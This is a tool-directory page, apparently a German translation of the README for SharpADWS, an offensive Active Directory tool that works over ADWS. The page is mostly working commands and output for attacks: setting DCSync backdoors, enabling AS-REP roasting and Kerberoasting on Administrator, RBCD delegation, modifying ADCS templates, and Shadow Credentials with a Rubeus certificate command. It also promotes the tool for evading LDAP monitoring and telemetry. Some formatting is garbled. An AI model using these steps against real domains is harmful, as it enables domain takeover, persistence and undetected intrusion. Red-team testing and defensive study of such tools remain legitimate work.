Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SharpADWS — Active Directory Aufklärung und Ausnutzung für Red Teams über die Active Directory Web Services (ADWS). | Kitploit
Tools/GitHubGitHub/wh0amitz/sharpadws
Privilege EscalationAufklärungPersistenzmechanismenExploitationLaterale BewegungPost-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHubwh0amitz/sharpadws

SharpADWS

Active Directory Aufklärung und Ausnutzung für Red Teams über die Active Directory Web Services (ADWS).

60259vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

SharpADWS

中文文档

Active Directory-Erkundung und -Ausnutzung für Red Teams über die Active Directory Web Services (ADWS).

Übersicht

SharpADWS ist ein Tool zur Active Directory-Erkundung und -Ausnutzung für Red Teams, das Active Directory-Daten über das Active Directory Web Services (ADWS)-Protokoll sammelt und modifiziert.

Normalerweise erfolgt die Aufzählung oder Manipulation von Active Directory über das LDAP-Protokoll. SharpADWS kann Active Directory-Daten extrahieren oder modifizieren, ohne direkt mit dem LDAP-Server zu kommunizieren. Unter ADWS werden LDAP-Abfragen in eine Reihe von SOAP-Nachrichten verpackt und dann über einen verschlüsselten NET TCP-Binding-Kanal an den ADWS-Server gesendet. Der ADWS-Server entpackt die LDAP-Abfrage dann lokal und leitet sie an den LDAP-Server weiter, der auf demselben Domänencontroller läuft.

Active Directory Web Services (ADWS) wird automatisch aktiviert, wenn Active Directory Domain Services (ADDS) installiert werden, was SharpADWS in allen Domänenumgebungen universell einsetzbar macht.

Vorteil

Einer der Hauptvorteile der Verwendung von ADWS für die LDAP-Post-Exploitation besteht darin, dass es relativ unbekannt ist und da der LDAP-Verkehr nicht über das Netzwerk gesendet wird, von üblichen Überwachungstools nicht leicht erkannt wird. ADWS führt einen völlig anderen Dienst als LDAP aus, ist auf TCP-Port 9389 verfügbar und verwendet das SOAP-Protokoll als Schnittstelle.

Bei der Recherche zu ADWS ist uns aufgefallen, dass die eigentliche Ausführung der LDAP-Abfrage, da es sich um einen SOAP-Webdienst handelt, lokal auf dem Domänencontroller erfolgt. Dies hat eine Reihe interessanter Nebeneffekte, die sich als vorteilhaft erweisen. Beispielsweise kann bei der Analyse von LDAP-Abfragen auf einem Domänencontroller auffallen, dass die Abfragen aus 127.0.0.1-Logs stammen, was in vielen Fällen ignoriert wird.

Ein sekundärer Vorteil ist, dass die Aktivität nicht in DeviceEvents unter dem Aktionstyp LDAPSearch angezeigt wird, was bedeutet, dass nur sehr wenige Telemetriedaten verfügbar sind.

Protokollimplementierung

SharpADWS implementiert die Protokolle MS-ADDM, MS-WSTIM und MS-WSDS. Sie können den Quellcode dieses Projekts verwenden, um die folgenden Operationen auf Active Directory Web Services einfach zu implementieren:

  • Enumerate:Erstellt einen Kontext, der dem angegebenen Suchabfragefilter zugeordnet ist.
  • Pull:Ruft das Ergebnisobjekt im Kontext einer bestimmten Enumeration ab.
  • Renew:Aktualisiert die Ablaufzeit des angegebenen Enumeration-Kontexts.
  • GetStatus:Ruft die Ablaufzeit des angegebenen Enumeration-Kontexts ab.
  • Release:Gibt den angegebenen Enumeration-Kontext frei.
  • Delete:Löscht vorhandene Objekte.
  • Get:Ruft eine oder mehrere Eigenschaften von einem Objekt ab.
  • Put:Ändert den Inhalt einer oder mehrerer Eigenschaften eines Objekts.
    • Add:Fügt den angegebenen Eigenschaftswert zum Wertsatz der angegebenen Eigenschaft hinzu oder erstellt die Eigenschaft, falls sie im Zielobjekt noch nicht vorhanden ist.
    • Replace:Ersetzt den Wertsatz der angegebenen Eigenschaft durch die in der Operation angegebenen Werte oder erstellt die Eigenschaft, falls sie im Zielobjekt noch nicht vorhanden ist. Wenn in der Operation kein Wert angegeben wird, werden alle Werte des aktuell angegebenen Attributs gelöscht.
    • Delete:Entfernt den angegebenen Attributwert aus dem angegebenen Attribut. Wenn kein Wert angegeben ist, werden alle Werte gelöscht. Wenn die angegebene Eigenschaft im Zielobjekt nicht vorhanden ist, schlägt die PUT-Anforderung fehl.
  • Create:Erstellt ein neues Objekt.

Verwendung

Das Befehlszeilenargument -h kann verwendet werden, um die folgende Verwendungsinformation anzuzeigen:```cmd C:\Users\Marcus>SharpADWS.exe -h

SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)

-h Display this help screen

Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection

Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain

Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects

DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account

DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account

Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account

AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer

RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action

Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action

Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account

FindDelegation options: No options, just run!

root@kitploit:~
### Cache

Wenn SharpADWS die ACL auflistet, muss zur Vermeidung zusätzlicher ADWS-Anfragen für jedes unbekannte Treuhandobjekt ein vollständiger Cache aller Kontobjekte im Voraus über die Cache-Methode erstellt und in einer Datei gespeichert werden. Dadurch wird eine große Anzahl (unnötiger) Abfragen vermieden. Der Cache enthält eine Zuordnung jedes Kontobjektnamens innerhalb der aktuellen Domäne zu seiner objectSid.```cmd
C:\Users\Marcus>SharpADWS.exe Cache

[*] Cache file has been generated: object.cache

Acl

Die Acl-Methode kann den DACL des Objekts unter Angabe von -dn auflisten und unterstützt die Filterung des aufgeführten DACL über die Parameter -trustee, -right und -rid. Wir möchten beispielsweise alle Domain Controller-Objekte auflisten und den DACL herausfiltern, dessen Trustee Marcus ist, wie folgt:```cmd C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus

Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False

root@kitploit:~
Als weiteres Beispiel möchten wir alle User-Objekte aufzählen und DACLs mit GenericWrite-Berechtigungen und trustee-RID größer als 1000 herausfiltern, wie unten gezeigt:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000

 Severity              : Critical
 ObjectDN              : CN=Bob,CN=Users,DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
 ObjectType            : All
 Trustee               : Marcus
 IsInherited           : False

Darüber hinaus unterstützt die Acl-Methode auch die Enumeration spezifischer Objekte:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects

root@kitploit:~
**Es ist zu beachten, dass die Verwendung der Acl-Methode auf dem Mapping-Cache basieren muss, der durch die Cache-Methode eingerichtet wurde.**

### DCSync

Die `list`-Aktion der DCSync-Methode kann alle Konten abfragen, denen die Berechtigungen DS-Replication-Get-Changes, DS-Replication-Get-Changes-All und DS-Replication-Get-Changes-In-Filtered-Set erteilt wurden, wie folgt gezeigt:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list

 Severity              : Info
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Administrators
 IsInherited           : False

 Severity              : Info
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Domain Controllers
 IsInherited           : False

 Severity              : Critical
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Alice
 IsInherited           : False
 

Es ist zu beachten, dass die list-Aktion der DCSync-Methode auf den Zuordnungs-Cache angewiesen ist, der über die Cache-Methode aufgebaut wurde.

Zusätzlich können Sie mit ausreichenden Berechtigungen einem Konto über write DCSync-Berechtigungen erteilen, um eine Domänen-Persistenz-Hintertür einzurichten:```cmd C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus

[*] Account Marcus now has DCSync privieges on the domain.

root@kitploit:~
### DontReqPreAuth

Die `list`-Aktion der DontReqPreAuth-Methode kann alle Konten finden, für die die Option "Kerberos-Vorauthentifizierung nicht erforderlich" gesetzt ist, wie unten gezeigt:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list

[*] Found users that do not require kerberos preauthentication:
[*]     CN=Bob,CN=Users,DC=corp,DC=local
[*]     CN=Alice,CN=Users,DC=corp,DC=local
[*]     CN=John,CN=Users,DC=corp,DC=local

Zusätzlich kannst du WriteProperty-Berechtigungen für die userAccountControl-Eigenschaft des Zielkontos ausnutzen, indem du die Option „Do not require kerberos preauthentication“ für dieses Konto über die write-Aktion aktivierst, um einen AS-REP Roasting-Angriff durchzuführen:```cmd C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator

[*] Set DontReqPreAuth for user Administrator successfully!

root@kitploit:~
### Kerberoastable

Die `list`-Aktion der Kerberoastable-Methode kann alle Konten mit eingerichtetem SPN finden, wie unten gezeigt:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list

[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*]     kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*]     WWW/win-iisserver.corp.local/IIS
[*]     TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*]     TERMSERV/WIN-SERVER2026

Darüber hinaus können Sie die WriteProperty-Berechtigungen für die servicePrincipalName-Eigenschaft des Zielkontos missbrauchen, um einen Kerberoasting-Angriff durchzuführen, indem Sie dem Konto (nur Benutzerkonten) einen SPN über die Aktion write hinzufügen:```cmd C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator

[*] Kerberoast user Administrator successfully!

root@kitploit:~
### AddComputer

Die AddComputer-Methode ermöglicht es Ihnen, ein neues Computerkonto im Rahmen des `ms-DS-MachineAccountQuota`-Attributwerts zu erstellen, das in nachfolgenden RBCD-Angriffen verwendet werden kann.```cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd

[*] Successfully added machine account PENTEST$ with password Passw0rd.

RBCD

Die read-Aktion der RBCD-Methode kann den Wert des Attributs msDS-AllowedToActOnBehalfOfOtherIdentity des angegebenen Kontobjekts lesen, um zu überprüfen, wer die Berechtigung hat, Ressourcen an das Konto zu delegieren, wie unten gezeigt:```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$

[] Accounts allowed to act on behalf of other identity: [] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)

root@kitploit:~
Die `write`-Aktion der RBCD-Methode kann in die `msDS-AllowedToActOnBehalfOfOtherIdentity`-Eigenschaft des Zielkontenobjekts für Resource-Based Constrained Delegation-Angriffe schreiben. Wie unten gezeigt, erstellen wir zunächst ein neues extremes Konto `PENTEST$` mit der AddComputer-Methode, und dann können wir den folgenden Befehl ausführen, um die SID von `PENTEST$` in das Attribut `msDS-AllowedToActOnBehalfOfOtherIdentity` von `DC01$` zu schreiben:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$

[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     PENTEST$    (S-1-5-21-1315326963-2851134370-1073178800-1113)

Darüber hinaus kann die in der Aktion write hinzugefügte SID aus dem Attribut msDS-AllowedToActOnBehalfOfOtherIdentity des Zielobjekts durch die Aktion remove entfernt werden:```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$

[] Delegation rights modified successfully! [] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)

root@kitploit:~
### Certify

Die `find`-Aktion der Certify-Methode kann die Daten in ADCS aufzählen, einschließlich aller Zertifizierungsstellen und Zertifikatsvorlagen, genau wie [Certify](https://github.com/GhostPack/Certify):```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find

[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'

    Enterprise CA Name              : corp-DC01-CA
    DNS Name                        : DC01.corp.local
    FullName                        : DC01.corp.local\corp-DC01-CA
    Certificate Subject             : CN=corp-DC01-CA, DC=corp, DC=local
    Certificate Serial Number       : 2D975C2D49AE4BB7432682E1708C8834
    Certificate Validity Start      : 2/13/2024 5:55:36 PM
    Certificate Validity End        : 2/13/2029 6:05:36 PM
    CA Permissions                  :
         Enrollment Rights          :
                                    : Authenticated Users
         Object Control Permissions :
             ManageCA               :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins
             ManageCertificates     :
                                    : Enterprise Admins
                                    : DC01
             WriteDacl              :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins
             WriteOwner             :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins
             WriteProperty          :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins

[*] Available Certificates Templates

    CA Name                         : CORP-DC01-CA
    Template Name                   : User
    Enabled                         : True
    Client Authentication           : True
    Enrollment Agent                : False
    Any Purpose                     : False
    Enrollee Supplies Subject       : False
    pKIExtendedKeyUsage             : Encrypting File System  Secure Email  Client Authentication
    msPKI-Certificate-Name-Flag     : SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
    msPkI-Enrollment-Flag           : INCLUDE_SYMMETRIC_ALGORITHMS  PUBLISH_TO_DS  AUTO_ENROLLMENT
    msPKI-Private-Key-Flag          : EXPORTABLE_KEY
    CA Permissions                  :
         Enrollment Rights          :
                                    : Domain Admins
                                    : Domain Users
                                    : Enterprise Admins
         Object Control Permissions :
             WriteDacl              :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteOwner             :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteProperty          :
                                    : Domain Admins
                                    : Enterprise Admins
                                    : Domain Users

    CA Name                         :
    Template Name                   : UserSignature
    Enabled                         : False
    Client Authentication           : True
    Enrollment Agent                : False
    Any Purpose                     : False
    Enrollee Supplies Subject       : False
    pKIExtendedKeyUsage             : Secure Email  Client Authentication
    msPKI-Certificate-Name-Flag     : SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
    msPkI-Enrollment-Flag           : AUTO_ENROLLMENT
    msPKI-Private-Key-Flag          : ATTEST_NONE
    CA Permissions                  :
         Enrollment Rights          :
                                    : Domain Admins
                                    : Domain Users
                                    : Enterprise Admins
         Object Control Permissions :
             WriteDacl              :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteOwner             :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteProperty          :
                                    : Domain Admins
                                    : Enterprise Admins
                                    : Domain Users

# ...

Zusätzlich unterstützt die Aktion find die Optionen -enrolleeSuppliesSubject und -clientAuth, mit denen alle Zertifikatsvorlagen gefiltert werden können, die das Flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT aktiviert haben und die Client-Authentifizierung unterstützen:```cmd C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth

[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'

root@kitploit:~
# ...

[*] Available Certificates Templates

root@kitploit:~
CA Name                         : CORP-DC01-CA
Template Name                   : User
Enabled                         : True
Client Authentication           : True
Enrollment Agent                : False
Any Purpose                     : False
Enrollee Supplies Subject       : True
pKIExtendedKeyUsage             : Encrypting File System  Secure Email  Client Authentication
msPKI-Certificate-Name-Flag     : ENROLLEE_SUPPLIES_SUBJECT  SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag           : INCLUDE_SYMMETRIC_ALGORITHMS  PUBLISH_TO_DS  AUTO_ENROLLMENT
msPKI-Private-Key-Flag          : EXPORTABLE_KEY
CA Permissions                  :
     Enrollment Rights          :
                                : Domain Admins
                                : Domain Users
                                : Enterprise Admins
     Object Control Permissions :
         WriteDacl              :
                                : Domain Admins
                                : Enterprise Admins
         WriteOwner             :
                                : Domain Admins
                                : Enterprise Admins
         WriteProperty          :
                                : Domain Admins
                                : Enterprise Admins
                                : Marcus
                                : Domain Users
                                

...

root@kitploit:~
**Es sollte beachtet werden, dass der `find`-Vorgang der Certify-Methode auf dem Mapping-Cache basieren muss, der über die Cache-Methode eingerichtet wurde.**

Die `modify`-Aktion der Certify-Methode ermöglicht es Ihnen, die Eigenschaften der Zertifikatsvorlage zu ändern, wie z. B. das Aktivieren des Flags `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` oder die Aktivierung der Client-Authentifizierung, sofern Sie Schreibzugriff auf die Zielvorlage haben:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth

[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!

Whisker

Die Whisker-Methode kann den Lebenszyklus eines ShadowCredentials-Angriffs genau wie Whisker durchführen.

Die list-Aktion der Whisker-Methode kann den Wert des msDS-KeyCredentialLink-Attributs des Zielkontos auflisten:```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$

[] List deviced for DC01$: [] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM

root@kitploit:~
Die `add`-Aktion der Whisker-Methode ermöglicht es Ihnen, einen Schlüssel zur `msDS-KeyCredentialLink`-Eigenschaft des Zielkontos hinzuzufügen, um einen ShadowCredentials-Angriff durchzuführen, wenn Sie Schreibzugriff haben:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd

[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:

      Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
      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 /password:"Passw0rd" /domain:cor
      p.local /getcredentials /show

Darüber hinaus können Sie mit der Aktion remove die Option -device-id angeben, um den angegebenen Schlüssel aus der Eigenschaft msDS-KeyCredentialLink des Zielobjekts zu entfernen:```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596

[] Found value to remove [] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM

root@kitploit:~
### FindDelegation

Die FindDelegation-Methode kann alle Delegationsbeziehungen in der aktuellen Domäne auflisten. Diese Methode hat keine redundanten Optionen oder Parameter:```cmd
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation

AccountName  AccountType  DelegationType                      DelegationRightsTo
-----------  -----------  ----------------------------------  ----------------------------------------------
DC01$        Computer     Unconstrained                       N/A
PENTEST$     Computer     Resource-Based Constrained          DC01$
